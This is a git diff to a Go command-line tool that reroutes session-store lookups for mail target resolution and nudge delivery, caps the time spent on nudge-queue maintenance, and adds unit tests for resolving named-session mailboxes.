 // (alias / alias_history / session_name) lives in one place. The per-session-id
-// resolution paths route through InfoStore.MailboxAddress(es); these thin
+// resolution paths route through Store.MailboxAddress(es); these thin
 // wrappers remain for the list-scan sites that already hold a []beads.Bead.
 func sessionMailboxAddress(b beads.Bead) string {
 	return session.MailboxAddress(b)
@@ -931,7 +931,7 @@ func resolveMailIdentityCached(store beads.Store, identifier string, cache *mail
 		}
 		return "", err
 	}
-	address, err := session.NewInfoStore(beads.SessionStore{Store: store}).MailboxAddress(sessionID)
+	address, err := session.NewStore(beads.SessionStore{Store: store}).MailboxAddress(sessionID)
 	if err != nil {
 		return "", err
 	}
@@ -952,7 +952,7 @@ func resolveMailIdentityWithConfigCached(cityPath string, cfg *config.City, stor
 	if store != nil && cfg != nil {
 		sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, identifier)
 		if err == nil {
-			address, err := session.NewInfoStore(beads.SessionStore{Store: store}).MailboxAddress(sessionID)
+			address, err := session.NewStore(beads.SessionStore{Store: store}).MailboxAddress(sessionID)
 			if err != nil {
 				return "", err
 			}
@@ -1059,6 +1059,18 @@ type mailIdentitySessionCache struct {
 	fetched bool
 }
 
+func ambientMailTargetConfig() (string, *config.City) {
+	cityPath, err := resolveCity()
+	if err != nil {
+		return "", nil
+	}
+	cfg, err := loadCityConfig(cityPath, io.Discard)
+	if err != nil {
+		return cityPath, nil
+	}
+	return cityPath, cfg
+}
+
 func listMailIdentitySessions(store beads.Store, cache *mailIdentitySessionCache) ([]beads.Bead, error) {
 	if cache == nil {
 		return session.ListAllSessionBeads(store, beads.ListQuery{})
@@ -1130,6 +1142,44 @@ func resolveMailTargets(store beads.Store, identifier string) (resolvedMailTarge
 	return resolveMailTargetsCached(store, identifier, nil)
 }
 
+func resolveMailTargetsWithConfig(cityPath string, cfg *config.City, store beads.Store, identifier string) (resolvedMailTarget, error) {
+	return resolveMailTargetsWithConfigCached(cityPath, cfg, store, identifier, nil)
+}
+
+func resolveMailTargetsWithConfigCached(cityPath string, cfg *config.City, store beads.Store, identifier string, cache *mailIdentitySessionCache) (resolvedMailTarget, error) {
+	if normalized := normalizeNamedSessionTarget(identifier); normalized == "" || normalized == "human" {
+		return resolvedMailTarget{display: "human", recipients: []string{"human"}}, nil
+	}
+	if store != nil && cfg != nil {
+		// Route the session-ID resolve and the mailbox-identity bead read through
+		// the session coordination-class store so a [beads.classes.sessions]
+		// relocation reaches mail target resolution. Identity at the default
+		// backend. (Mirrors cmd_nudge's sessStore routing; the sibling resolvers
+		// resolveMailTargetsCached / resolveMailIdentityWithConfigCached carry the
+		// same pre-existing gap and are swept on the mail DI pass.)
+		sessStore := cliSessionStore(store, cfg, cityPath)
+		sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, identifier)
+		if err == nil {
+			b, err := sessStore.Get(sessionID)
+			if err != nil {
+				return resolvedMailTarget{}, err
+			}
+			addresses := sessionMailboxAddresses(b)
+			if len(addresses) == 0 {
+				return resolvedMailTarget{}, fmt.Errorf("session %q has no mailbox identity", identifier)
+			}
+			return resolvedMailTarget{
+				display:    addresses[0],
+				recipients: addresses,
+			}, nil
+		}
+		if !errors.Is(err, session.ErrSessionNotFound) {
+			return resolvedMailTarget{}, err
+		}
+	}
+	return resolveMailTargetsCached(store, identifier, cache)
+}
+
 func resolveMailTargetsCached(store beads.Store, identifier string, cache *mailIdentitySessionCache) (resolvedMailTarget, error) {
 	if normalized := normalizeNamedSessionTarget(identifier); normalized == "" || normalized == "human" {
 		return resolvedMailTarget{display: "human", recipients: []string{"human"}}, nil
@@ -1148,7 +1198,7 @@ func resolveMailTargetsCached(store beads.Store, identifier string, cache *mailI
 		}
 		return resolvedMailTarget{}, err
 	}
-	addresses, err := session.NewInfoStore(beads.SessionStore{Store: store}).MailboxAddresses(sessionID)
+	addresses, err := session.NewStore(beads.SessionStore{Store: store}).MailboxAddresses(sessionID)
 	if err != nil {
 		return resolvedMailTarget{}, err
 	}
@@ -1173,7 +1223,8 @@ func resolveMailTargetsForCommand(identifier string, stderr io.Writer, cmdName s
 		_ = code
 		return resolvedMailTarget{}, false
 	}
-	target, err := resolveMailTargets(store, identifier)
+	cityPath, cfg := ambientMailTargetConfig()
+	target, err := resolveMailTargetsWithConfig(cityPath, cfg, store, identifier)
 	if err != nil {
 		fmt.Fprintf(stderr, "%s: %v\n", cmdName, err) //nolint:errcheck // best-effort stderr
 		return resolvedMailTarget{}, false
@@ -1197,9 +1248,10 @@ func resolveDefaultMailTargetsForCommand(stderr io.Writer, cmdName string) (reso
 	}
 	// Memoize the gc:session enumeration so multi-candidate retry shares one
 	// broad scan instead of issuing one per candidate (ga-q6ct Layer 2).
+	cityPath, cfg := ambientMailTargetConfig()
 	cache := &mailIdentitySessionCache{}
 	for _, c := range candidates {
-		target, err := resolveMailTargetsCached(store, c, cache)
+		target, err := resolveMailTargetsWithConfigCached(cityPath, cfg, store, c, cache)
 		if err == nil {
 			return target, true
 		}
diff --git a/cmd/gc/cmd_mail_test.go b/cmd/gc/cmd_mail_test.go
index 222a96663e..c52ba78f80 100644
--- a/cmd/gc/cmd_mail_test.go
+++ b/cmd/gc/cmd_mail_test.go
@@ -974,6 +974,52 @@ func TestResolveMailTargets_BareRigScopedNamedUsesUniqueLiveConfiguredNamedSessi
 	}
 }
 
+func TestResolveMailTargetsWithConfig_RuntimeNameUsesLiveConfiguredNamedSessionMailbox(t *testing.T) {
+	store := beads.NewMemStore()
+	cfg := &config.City{
+		Workspace: config.Workspace{
+			Name:            "gas-city-wbern",
+			SessionTemplate: "{{.City}}/{{.Name}}",
+		},
+		Agents: []config.Agent{{
+			Name:         "gas-city-architect",
+			StartCommand: "true",
+		}},
+		NamedSessions: []config.NamedSession{{
+			Template: "gas-city-architect",
+			Mode:     "always",
+		}},
+	}
+	runtimeName := config.NamedSessionRuntimeName(cfg.EffectiveCityName(), cfg.Workspace, "gas-city-architect")
+	b, err := store.Create(beads.Bead{
+		Type:   session.BeadType,
+		Labels: []string{session.LabelSession},
+		Metadata: map[string]string{
+			"alias":                     "gcw/gas-city-architect",
+			"alias_history":             "gas-city-architect",
+			"session_name":              runtimeName,
+			"configured_named_session":  "true",
+			"configured_named_identity": "gas-city-architect",
+			"configured_named_mode":     "always",
+		},
+	})
+	if err != nil {
+		t.Fatalf("Create: %v", err)
+	}
+
+	target, err := resolveMailTargetsWithConfigCached(t.TempDir(), cfg, store, runtimeName, nil)
+	if err != nil {
+		t.Fatalf("resolveMailTargetsWithConfigCached: %v", err)
+	}
+	if target.display != "gcw/gas-city-architect" {
+		t.Fatalf("display = %q, want gcw/gas-city-architect", target.display)
+	}
+	want := []string{"gcw/gas-city-architect", b.ID, "gas-city-architect"}
+	if strings.Join(target.recipients, ",") != strings.Join(want, ",") {
+		t.Fatalf("recipients = %#v, want %#v", target.recipients, want)
+	}
+}
+
 func TestResolveMailTargetsForCommand_FakeProviderDoesNotResolveHistoricalAlias(t *testing.T) {
 	t.Setenv("GC_BEADS", "file")
 	t.Setenv("GC_MAIL", "fake")
@@ -1016,6 +1062,68 @@ func TestResolveMailTargetsForCommand_FakeProviderDoesNotResolveHistoricalAlias(
 	}
 }
 
+func TestResolveMailTargetsForCommand_RuntimeNameUsesLiveConfiguredNamedSessionMailbox(t *testing.T) {
+	t.Setenv("GC_BEADS", "file")
+	t.Setenv("GC_MAIL", "fake")
+
+	cityPath := t.TempDir()
+	cityToml := `[workspace]
+name = "gas-city-wbern"
+session_template = "{{.City}}/{{.Name}}"
+
+[[agent]]
+name = "gas-city-architect"
+provider = "missing-provider"
+
+[providers.missing-provider]
+command = "missing-provider"
+
+[[named_session]]
+template = "gas-city-architect"
+mode = "always"
+`
+	if err := os.WriteFile(filepath.Join(cityPath, "city.toml"), []byte(cityToml), 0o644); err != nil {
+		t.Fatalf("WriteFile(city.toml): %v", err)
+	}
+	t.Setenv("GC_CITY", cityPath)
+
+	store, err := openCityStoreAt(cityPath)
+	if err != nil {
+		t.Fatalf("openCityStoreAt: %v", err)
+	}
+	runtimeName := config.NamedSessionRuntimeName("gas-city-wbern", config.Workspace{SessionTemplate: "{{.City}}/{{.Name}}"}, "gas-city-architect")
+	if _, err := store.Create(beads.Bead{
+		Type:   session.BeadType,
+		Labels: []string{session.LabelSession},
+		Metadata: map[string]string{
+			"alias":                     "gcw/gas-city-architect",
+			"alias_history":             "gas-city-architect",
+			"session_name":              runtimeName,
+			"configured_named_session":  "true",
+			"configured_named_identity": "gas-city-architect",
+			"configured_named_mode":     "always",
+		},
+	}); err != nil {
+		t.Fatalf("Create(session): %v", err)
+	}
+
+	var stderr bytes.Buffer
+	target, ok := resolveMailTargetsForCommand(runtimeName, &stderr, "gc mail inbox")
+	if !ok {
+		t.Fatal("resolveMailTargetsForCommand() = not ok, want ok")
+	}
+	if stderr.Len() != 0 {
+		t.Fatalf("stderr = %q, want empty", stderr.String())
+	}
+	if target.display != "gcw/gas-city-architect" {
+		t.Fatalf("display = %q, want gcw/gas-city-architect", target.display)
+	}
+	want := []string{"gcw/gas-city-architect", "gc-1", "gas-city-architect"}
+	if strings.Join(target.recipients, ",") != strings.Join(want, ",") {
+		t.Fatalf("recipients = %#v, want %#v", target.recipients, want)
+	}
+}
+
 func TestResolveMailTargetsForCommand_FailsWhenStoreBackedResolutionErrors(t *testing.T) {
 	t.Setenv("GC_MAIL", "fake")
 
diff --git a/cmd/gc/cmd_mcp.go b/cmd/gc/cmd_mcp.go
index 9d4c9f3889..732bab38e6 100644
--- a/cmd/gc/cmd_mcp.go
+++ b/cmd/gc/cmd_mcp.go
@@ -79,7 +79,7 @@ func newMcpListCmd(stdout, stderr io.Writer) *cobra.Command {
 					fmt.Fprintf(stderr, "gc mcp list: %v\n", err) //nolint:errcheck // best-effort stderr
 					return errExit
 				}
-				view, err = resolveSessionMCPProjection(cityPath, cfg, store, sessionID, exec.LookPath)
+				view, err = resolveSessionMCPProjection(cityPath, cfg, cliSessionFrontDoor(store, cfg, cityPath), sessionID, exec.LookPath)
 			} else {
 				agent, ok := resolveAgentIdentity(cfg, agentName, currentRigContext(cfg))
 				if !ok {
diff --git a/cmd/gc/cmd_nudge.go b/cmd/gc/cmd_nudge.go
index 24e3cc0cf8..d4f9dcc18f 100644
--- a/cmd/gc/cmd_nudge.go
+++ b/cmd/gc/cmd_nudge.go
@@ -39,8 +39,19 @@ const (
 	defaultQueuedNudgeRetryDelay    = 15 * time.Second
 	defaultQueuedNudgeMaxAttempts   = 5
 	defaultQueuedNudgeDeadRetention = 1 * time.Hour
-	defaultNudgePollInterval        = 2 * time.Second
-	defaultNudgePollQuiescence      = 3 * time.Second
+
+	// nudgeEnqueueMaintenanceBudget bounds the wall-clock time the foreground
+	// `gc sling --nudge` enqueue path spends on best-effort nudge-queue
+	// maintenance (expiring/pruning stale entries) while holding the
+	// withNudgeQueueState flock. Without this, maintenance does O(backlog)
+	// serial store writes with no cap, so a large backlog turns a sub-second
+	// foreground call into a multi-minute hang. Items skipped once the budget
+	// is exceeded are left untouched for the next enqueue, the per-session
+	// poller, or the doctor reaper to handle — never dropped.
+	nudgeEnqueueMaintenanceBudget = 2 * time.Second
+
+	defaultNudgePollInterval   = 2 * time.Second
+	defaultNudgePollQuiescence = 3 * time.Second
 	// A controller wake can legitimately take a couple of minutes when the
 	// session has to rematerialize a worktree and complete startup dialog.
 	defaultNudgePollStartGrace = 5 * time.Minute
@@ -450,16 +461,21 @@ func cmdNudgeDrainWithFormat(args []string, inject bool, hookFormat string, stdo
 		return 1
 	}
 	deliveryStore := openNudgeBeadStore(target.cityPath)
-	var deliverySessFront *session.InfoStore
+	// Two-store split: the nudge-queue delivery store stays on the nudges class
+	// (openNudgeBeadStore), while the session-class ops — wait-bead reads in
+	// splitQueuedNudgesForDelivery and the last-nudge-delivered stamp — route
+	// through the session store. Identity today (single backend).
+	deliverySessStore := cliSessionStore(deliveryStore.Store, target.cfg, target.cityPath)
+	var deliverySessFront *session.Store
 	if deliveryStore.Store != nil {
-		deliverySessFront = sessionFrontDoor(deliveryStore.Store)
+		deliverySessFront = sessionFrontDoor(deliverySessStore)
 	}
 	items, rejected := splitQueuedNudgesForTarget(target, items)
 	if len(rejected) > 0 {
 		_ = recordQueuedNudgeFailureWithStore(target.cityPath, deliveryStore, queuedNudgeIDs(rejected), errNudgeSessionFenceMismatch, time.Now())
 	}
 	candidates := items
-	items, blocked, err := splitQueuedNudgesForDelivery(deliveryStore.Store, candidates)
+	items, blocked, err := splitQueuedNudgesForDelivery(deliverySessStore, candidates)
 	if err != nil {
 		// Release the claims so the next drain or poller pass retries
 		// promptly instead of waiting out the in-flight lease.
@@ -628,6 +644,9 @@ func cmdNudgePoll(args []string, sessionName string, interval, quiescence time.D
 		fmt.Fprintf(stderr, "gc nudge poll: opening city store for %q\n", target.agentKey()) //nolint:errcheck
 		return 1
 	}
+	// Session-class store for the observe read (nudgeObserveTarget); the raw
+	// nudges store keeps flowing to the queue-delivery path. Identity today.
+	sessStore := cliSessionStore(store.Store, target.cfg, target.cityPath)
 	var missingSince time.Time
 	var lastFreeOS time.Time
 	for {
@@ -640,7 +659,7 @@ func cmdNudgePoll(args []string, sessionName string, interval, quiescence time.D
 			debug.FreeOSMemory()
 			lastFreeOS = now
 		}
-		obs, err := nudgeObserveTarget(target, store.Store, sp)
+		obs, err := nudgeObserveTarget(target, sessStore, sp)
 		if err != nil {
 			fmt.Fprintf(stderr, "gc nudge poll: %v\n", err) //nolint:errcheck
 			// Transient observation failures (store hiccup, runtime probe
@@ -671,7 +690,7 @@ func cmdNudgePoll(args []string, sessionName string, interval, quiescence time.D
 			return 0
 		}
 		missingSince = time.Time{}
-		delivered, pollErr := tryDeliverQueuedNudgesByPoller(target, store.Store, sp, quiescence, obs)
+		delivered, pollErr := tryDeliverQueuedNudgesByPoller(target, store.Store, cliSessionStore(store.Store, target.cfg, target.cityPath), sp, quiescence, obs)
 		if pollErr != nil {
 			fmt.Fprintf(stderr, "gc nudge poll: %v\n", pollErr) //nolint:errcheck
 		}
@@ -706,6 +725,11 @@ func deliverSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp run
 	if mode == nudgeDeliveryQueue {
 		return queueSessionNudgeWithWorker(target, store, sp, message, mode, jsonOutput, stdout, stderr)
 	}
+	// Two-store split: the raw store keeps threading the nudge-enqueue currency,
+	// while the session-class observe/handle reads below route through sessStore.
+	// nil store -> cliSessionStore returns nil (identity), preserving the
+	// store-less WithProvider path.
+	sessStore := cliSessionStore(store, target.cfg, target.cityPath)
 	queueManagedWake, err := shouldQueueManagedNudgeWake(target, store, sp)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session nudge: %v\n", err) //nolint:errcheck
@@ -732,7 +756,7 @@ func deliverSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp run
 	// internal/worker/runtime_handle.go nudgeWaitIdle), so short-circuiting
 	// those would needlessly downgrade live delivery to queued. (gco-90ui)
 	if mode == nudgeDeliveryWaitIdle && target.sessionTransport() != "acp" && target.providerName() == "claude" {
-		if obs, obsErr := nudgeObserveTarget(target, store, sp); obsErr == nil && obs.Running && nudgeObservationBusy(obs) {
+		if obs, obsErr := nudgeObserveTarget(target, sessStore, sp); obsErr == nil && obs.Running && nudgeObservationBusy(obs) {
 			return queueSessionNudgeWithWorker(target, store, sp, message, mode, jsonOutput, stdout, stderr)
 		}
 	}
@@ -741,7 +765,7 @@ func deliverSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp run
 		fmt.Fprintf(stderr, "gc session nudge: unknown delivery mode %q\n", mode) //nolint:errcheck
 		return 1
 	}
-	handle, err := workerHandleForNudgeTarget(target, store, sp)
+	handle, err := workerHandleForNudgeTarget(target, sessStore, sp)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session nudge: %v\n", err) //nolint:errcheck
 		return 1
@@ -787,7 +811,9 @@ func shouldQueueManagedNudgeWake(target nudgeTarget, store beads.Store, sp runti
 	if !canRequestManagedNudgeWake(target, store) {
 		return false, nil
 	}
-	obs, err := nudgeObserveTarget(target, store, sp)
+	// The observe is a session-class read; route it through the session store
+	// (identity today). The nil-check above keeps the raw store deliberately.
+	obs, err := nudgeObserveTarget(target, cliSessionStore(store, target.cfg, target.cityPath), sp)
 	if err != nil {
 		return false, fmt.Errorf("observing managed session before wake routing: %w", err)
 	}
@@ -834,13 +860,15 @@ func queueManagedSessionNudgeWake(target nudgeTarget, store beads.Store, message
 
 func enqueueManagedNudgeThenWake(target nudgeTarget, store beads.Store, item queuedNudge) error {
 	// store is class-mixed here: the enqueue/rollback arms are nudge-class (wrap
-	// into the typed NudgesStore), while requestManagedNudgeWake reads the
-	// session bead and wakes it (sessions class), so it keeps the bare store.
+	// into the typed NudgesStore), while the wake arm reads the session bead and
+	// wakes it (sessions class), so it routes through the session coordination-class
+	// store via cliSessionStore (identity today). enqueue (NudgesStore wrap) and
+	// rollback (nudgeFrontDoor) stay nudges.
 	nudges := beads.NudgesStore{Store: store}
 	if err := enqueueQueuedNudgeWithStore(target.cityPath, nudges, item); err != nil {
 		return err
 	}
-	if err := requestManagedNudgeWake(target, store); err != nil {
+	if err := requestManagedNudgeWake(target, cliSessionStore(store, target.cfg, target.cityPath)); err != nil {
 		if rollbackErr := rollbackQueuedNudge(target.cityPath, nudgeFrontDoor(nudges), item, "managed wake failed: "+err.Error()); rollbackErr != nil {
 			return errors.Join(err, fmt.Errorf("rolling back queued nudge %q after managed wake failure: %w", item.ID, rollbackErr))
 		}
@@ -849,6 +877,12 @@ func enqueueManagedNudgeThenWake(target nudgeTarget, store beads.Store, item que
 	return nil
 }
 
+// requestManagedNudgeWake wakes a managed session that owns queued nudges. The
+// store param is contractually the session coordination-class store: store.Get
+// and session.WakeSession operate on the session bead plus its gc:wait beads
+// (both ClassSessions). Callers route it via cliSessionStore. The one nudge op
+// inside — nudgeWithdrawQueuedWaitNudges — opens its own nudge store and stays
+// on the nudges class.
 func requestManagedNudgeWake(target nudgeTarget, store beads.Store) error {
 	if store == nil || target.sessionID == "" {
 		return nil
@@ -992,7 +1026,9 @@ func queueSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp runti
 		fmt.Fprintf(stderr, "gc session nudge: %v\n", err) //nolint:errcheck
 		return 1
 	}
-	if obs, err := workerObserveNudgeTarget(target, store, sp); err == nil && obs.Running {
+	// The observe is a session-class read; route through the session store
+	// (identity today). The enqueue above stays on its own nudge store.
+	if obs, err := workerObserveNudgeTarget(target, cliSessionStore(store, target.cfg, target.cityPath), sp); err == nil && obs.Running {
 		maybeStartNudgePoller(target)
 	}
 	return writeQueuedSessionNudgeResult(target, mode, jsonOutput, stdout, stderr)
@@ -1030,12 +1066,17 @@ func sendMailNotifyWithProvider(target nudgeTarget, sp runtime.Provider) error {
 func sendMailNotifyWithWorker(target nudgeTarget, store beads.Store, sp runtime.Provider, sender string) error {
 	msg := fmt.Sprintf("You have mail from %s", sender)
 	now := time.Now()
-	obs, err := workerObserveNudgeTarget(target, store, sp)
+	// Session-class store for the observe/handle reads and the last-nudge stamp
+	// below; the raw store keeps flowing to canRequestManagedNudgeWake,
+	// enqueueManagedNudgeThenWake, and enqueueQueuedNudge (nudge class). nil store
+	// -> nil (identity), preserving the store-less WithProvider caller.
+	sessStore := cliSessionStore(store, target.cfg, target.cityPath)
+	obs, err := workerObserveNudgeTarget(target, sessStore, sp)
 	if err != nil {
 		return err
 	}
 	if obs.Running {
-		handle, err := workerHandleForNudgeTarget(target, store, sp)
+		handle, err := workerHandleForNudgeTarget(target, sessStore, sp)
 		if err == nil {
 			result, nudgeErr := handle.Nudge(context.Background(), worker.NudgeRequest{
 				Text:     msg,
@@ -1045,9 +1086,9 @@ func sendMailNotifyWithWorker(target nudgeTarget, store beads.Store, sp runtime.
 			})
 			if nudgeErr == nil && result.Delivered {
 				telemetry.RecordNudge(context.Background(), target.agentKey(), nil)
-				var sessFront *session.InfoStore
+				var sessFront *session.Store
 				if store != nil {
-					sessFront = sessionFrontDoor(store)
+					sessFront = sessionFrontDoor(sessStore)
 				}
 				stampLastNudgeDeliveredAt(sessFront, target.sessionID, time.Now())
 				return nil
@@ -1086,9 +1127,13 @@ func resolveNudgeTarget(identifier string, warningWriter ...io.Writer) (nudgeTar
 	}
 	store := openNudgeBeadStore(cityPath)
 	if store.Store != nil {
-		sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, store.Store, identifier)
+		// Named-session materialization is a session WRITE, and the follow-up Get
+		// reads the session bead; both route through the session-class store
+		// (identity today) while the raw store remains the nudge-queue currency.
+		sessStore := cliSessionStore(store.Store, cfg, cityPath)
+		sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, sessStore, identifier)
 		if err == nil {
-			b, getErr := store.Get(sessionID)
+			b, getErr := sessStore.Get(sessionID)
 			if getErr != nil {
 				return nudgeTarget{}, getErr
 			}
@@ -1101,37 +1146,83 @@ func resolveNudgeTarget(identifier string, warningWriter ...io.Writer) (nudgeTar
 	return nudgeTarget{}, fmt.Errorf("%w: %q", session.ErrSessionNotFound, identifier)
 }
 
+// nudgeTargetFields carries the pre-extracted session attributes buildNudgeTarget
+// needs. Both resolvers (raw bead and typed session.Info) populate it from their
+// own source, so the identity-resolution tail lives in exactly one place.
+type nudgeTargetFields struct {
+	sessionID         string
+	sessionName       string
+	alias             string
+	agentName         string
+	template          string
+	commonName        string
+	aliasHistory      []string
+	transport         string
+	provider          string
+	continuationEpoch string
+}
+
 func resolveNudgeTargetFromSessionBead(cityPath string, cfg *config.City, b beads.Bead) nudgeTarget {
-	cityName := loadedCityName(cfg, cityPath)
 	sessionName := strings.TrimSpace(b.Metadata["session_name"])
 	if sessionName == "" {
 		sessionName = sessionNameFromBeadID(b.ID)
 	}
-	alias := strings.TrimSpace(b.Metadata["alias"])
-	identity := firstNonEmpty(
-		strings.TrimSpace(b.Metadata["agent_name"]),
-		strings.TrimSpace(b.Metadata["template"]),
-		strings.TrimSpace(b.Metadata["common_name"]),
-	)
+	return buildNudgeTarget(cityPath, cfg, nudgeTargetFields{
+		sessionID:         b.ID,
+		sessionName:       sessionName,
+		alias:             strings.TrimSpace(b.Metadata["alias"]),
+		agentName:         strings.TrimSpace(b.Metadata["agent_name"]),
+		template:          strings.TrimSpace(b.Metadata["template"]),
+		commonName:        strings.TrimSpace(b.Metadata["common_name"]),
+		aliasHistory:      session.AliasHistory(b.Metadata),
+		transport:         strings.TrimSpace(b.Metadata["transport"]),
+		provider:          strings.TrimSpace(b.Metadata["provider"]),
+		continuationEpoch: strings.TrimSpace(b.Metadata["continuation_epoch"]),
+	})
+}
+
+// resolveNudgeTargetFromSessionInfo is the typed front-door sibling of
+// resolveNudgeTargetFromSessionBead: it reads the same session attributes from a
+// session.Info projection instead of the raw bead. Note the transport source is
+// i.TransportMetadata (the RAW value), not i.Transport (which normalizeTransport
+// would make non-empty), so the found.Session fallback below fires identically.
+func resolveNudgeTargetFromSessionInfo(cityPath string, cfg *config.City, i session.Info) nudgeTarget {
+	sessionName := strings.TrimSpace(i.SessionNameMetadata)
+	if sessionName == "" {
+		sessionName = sessionNameFromBeadID(i.ID)
+	}
+	return buildNudgeTarget(cityPath, cfg, nudgeTargetFields{
+		sessionID:         i.ID,
+		sessionName:       sessionName,
+		alias:             strings.TrimSpace(i.Alias),
+		agentName:         strings.TrimSpace(i.AgentName),
+		template:          strings.TrimSpace(i.Template),
+		commonName:        strings.TrimSpace(i.CommonName),
+		aliasHistory:      i.AliasHistory,
+		transport:         strings.TrimSpace(i.TransportMetadata),
+		provider:          strings.TrimSpace(i.Provider),
+		continuationEpoch: strings.TrimSpace(i.ContinuationEpoch),
+	})
+}
+
+func buildNudgeTarget(cityPath string, cfg *config.City, f nudgeTargetFields) nudgeTarget {
+	cityName := loadedCityName(cfg, cityPath)
+	identity := firstNonEmpty(f.agentName, f.template, f.commonName)
 	target := nudgeTarget{
 		cityPath:          cityPath,
 		cityName:          cityName,
 		cfg:               cfg,
 		identity:          identity,
-		alias:             alias,
-		aliasHistory:      session.AliasHistory(b.Metadata),
-		transport:         strings.TrimSpace(b.Metadata["transport"]),
-		resolved:          &config.ResolvedProvider{Name: strings.TrimSpace(b.Metadata["provider"])},
-		sessionID:         b.ID,
-		continuationEpoch: strings.TrimSpace(b.Metadata["continuation_epoch"]),
-		sessionName:       sessionName,
+		alias:             f.alias,
+		aliasHistory:      f.aliasHistory,
+		transport:         f.transport,
+		resolved:          &config.ResolvedProvider{Name: f.provider},
+		sessionID:         f.sessionID,
+		continuationEpoch: f.continuationEpoch,
+		sessionName:       f.sessionName,
 	}
 	target.agent = parseNudgeAgentIdentity(identity)
-	for _, candidate := range []string{
-		strings.TrimSpace(b.Metadata["agent_name"]),
-		strings.TrimSpace(b.Metadata["template"]),
-		strings.TrimSpace(b.Metadata["common_name"]),
-	} {
+	for _, candidate := range []string{f.agentName, f.template, f.commonName} {
 		if candidate == "" {
 			continue
 		}
@@ -1159,7 +1250,7 @@ func resolveNudgeTargetFromSessionBead(cityPath string, cfg *config.City, b bead
 		target.identity = target.agent.QualifiedName()
 	}
 	if target.identity == "" {
-		target.identity = sessionName
+		target.identity = f.sessionName
 	}
 	return target
 }
@@ -1197,7 +1288,7 @@ func parseNudgeDeliveryMode(raw string) (nudgeDeliveryMode, error) {
 	}
 }
 
-func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp runtime.Provider, quiescence time.Duration, obs worker.LiveObservation) (bool, error) {
+func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store, sessStore beads.Store, sp runtime.Provider, quiescence time.Duration, obs worker.LiveObservation) (bool, error) {
 	matches, err := nudgeTargetLiveGenerationMatches(target, obs, sp)
 	if err != nil || !matches {
 		return false, err
@@ -1213,9 +1304,24 @@ func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp ru
 	if deliveryStore == nil {
 		deliveryStore = openNudgeBeadStore(target.cityPath).Store
 	}
-	var deliverySessFront *session.InfoStore
+	// sessStore is the SESSION-class store the caller resolved from the WORK store
+	// (the dispatcher threads cr.sessionsBeadStore().Store; the CLI poll derives it
+	// from its work store), so the worker handle, the front-door stamp, and the
+	// gc:wait-bead split do NOT fall back to the nudges store when nudges relocates
+	// independently of sessions. deliveryStore stays the NUDGES store for the queue
+	// record/dead-letter path. When a caller passes nil sessStore (the store-less
+	// test corner), fall back to the pre-split derivation so the handle
+	// (nil -> runtime-only) and the stamp/split (from the fallback-opened store) stay
+	// byte-identical. Identity today.
+	handleSessStore := sessStore
+	deliverySessStore := sessStore
+	if sessStore == nil {
+		handleSessStore = cliSessionStore(store, target.cfg, target.cityPath)
+		deliverySessStore = cliSessionStore(deliveryStore, target.cfg, target.cityPath)
+	}
+	var deliverySessFront *session.Store
 	if deliveryStore != nil {
-		deliverySessFront = sessionFrontDoor(deliveryStore)
+		deliverySessFront = sessionFrontDoor(deliverySessStore)
 	}
 	// Bookkeeping for fence-mismatched and blocked items is best-effort: a
 	// failure there must not abort delivery of the remaining claimable items.
@@ -1229,7 +1335,7 @@ func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp ru
 		}
 	}
 	candidates := items
-	items, blocked, err := splitQueuedNudgesForDelivery(deliveryStore, candidates)
+	items, blocked, err := splitQueuedNudgesForDelivery(deliverySessStore, candidates)
 	if err != nil {
 		relErr := releaseQueuedNudgeClaims(target.cityPath, queuedNudgeIDs(candidates))
 		return false, errors.Join(bookkeepErr, err, relErr)
@@ -1248,7 +1354,7 @@ func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp ru
 	} else {
 		msg = formatNudgeInjectOutput(items)
 	}
-	handle, err := workerHandleForNudgeTarget(target, store, sp)
+	handle, err := workerHandleForNudgeTarget(target, handleSessStore, sp)
 	if err != nil {
 		relErr := releaseQueuedNudgeClaims(target.cityPath, queuedNudgeIDs(items))
 		return false, errors.Join(bookkeepErr, err, relErr)
@@ -1284,7 +1390,7 @@ func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp ru
 	return true, errors.Join(bookkeepErr, ackQueuedNudges(target.cityPath, queuedNudgeIDs(items)))
 }
 
-func stampLastNudgeDeliveredAt(sessFront *session.InfoStore, sessionID string, t time.Time) {
+func stampLastNudgeDeliveredAt(sessFront *session.Store, sessionID string, t time.Time) {
 	if sessFront == nil || sessionID == "" {
 		return
 	}
@@ -1420,6 +1526,11 @@ func splitQueuedNudgesForTarget(target nudgeTarget, items []queuedNudge) ([]queu
 	return deliverable, rejected
 }
 
+// splitQueuedNudgesForDelivery partitions claimed nudges into deliverable items
+// and reason-tagged blocked items. The store param is contractually the session
+// coordination-class store: blockedQueuedNudgeReason reads the referenced gc:wait
+// bead (coordclass.ClassSessions) to gate wait-sourced nudges. Callers route it
+// via cliSessionStore.
 func splitQueuedNudgesForDelivery(store beads.Store, items []queuedNudge) ([]queuedNudge, map[string][]queuedNudge, error) {
 	if len(items) == 0 {
 		return nil, nil, nil
@@ -1643,13 +1754,14 @@ func claimDueQueuedNudgesMatching(cityPath string, now time.Time, match func(que
 	}
 	var claimed []queuedNudge
 	err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
-		if err := recoverExpiredInFlightNudges(state, front, now); err != nil {
+		deadline := noMaintenanceDeadline()
+		if err := recoverExpiredInFlightNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneExpiredQueuedNudges(state, front, now); err != nil {
+		if err := pruneExpiredQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
-		if err := pruneDeadQueuedNudges(state, front, now); err != nil {
+		if err := pruneDeadQueuedNudges(state, front, now, deadline); err != nil {
 			return err
 		}
 		pending := state.Pending[:0]
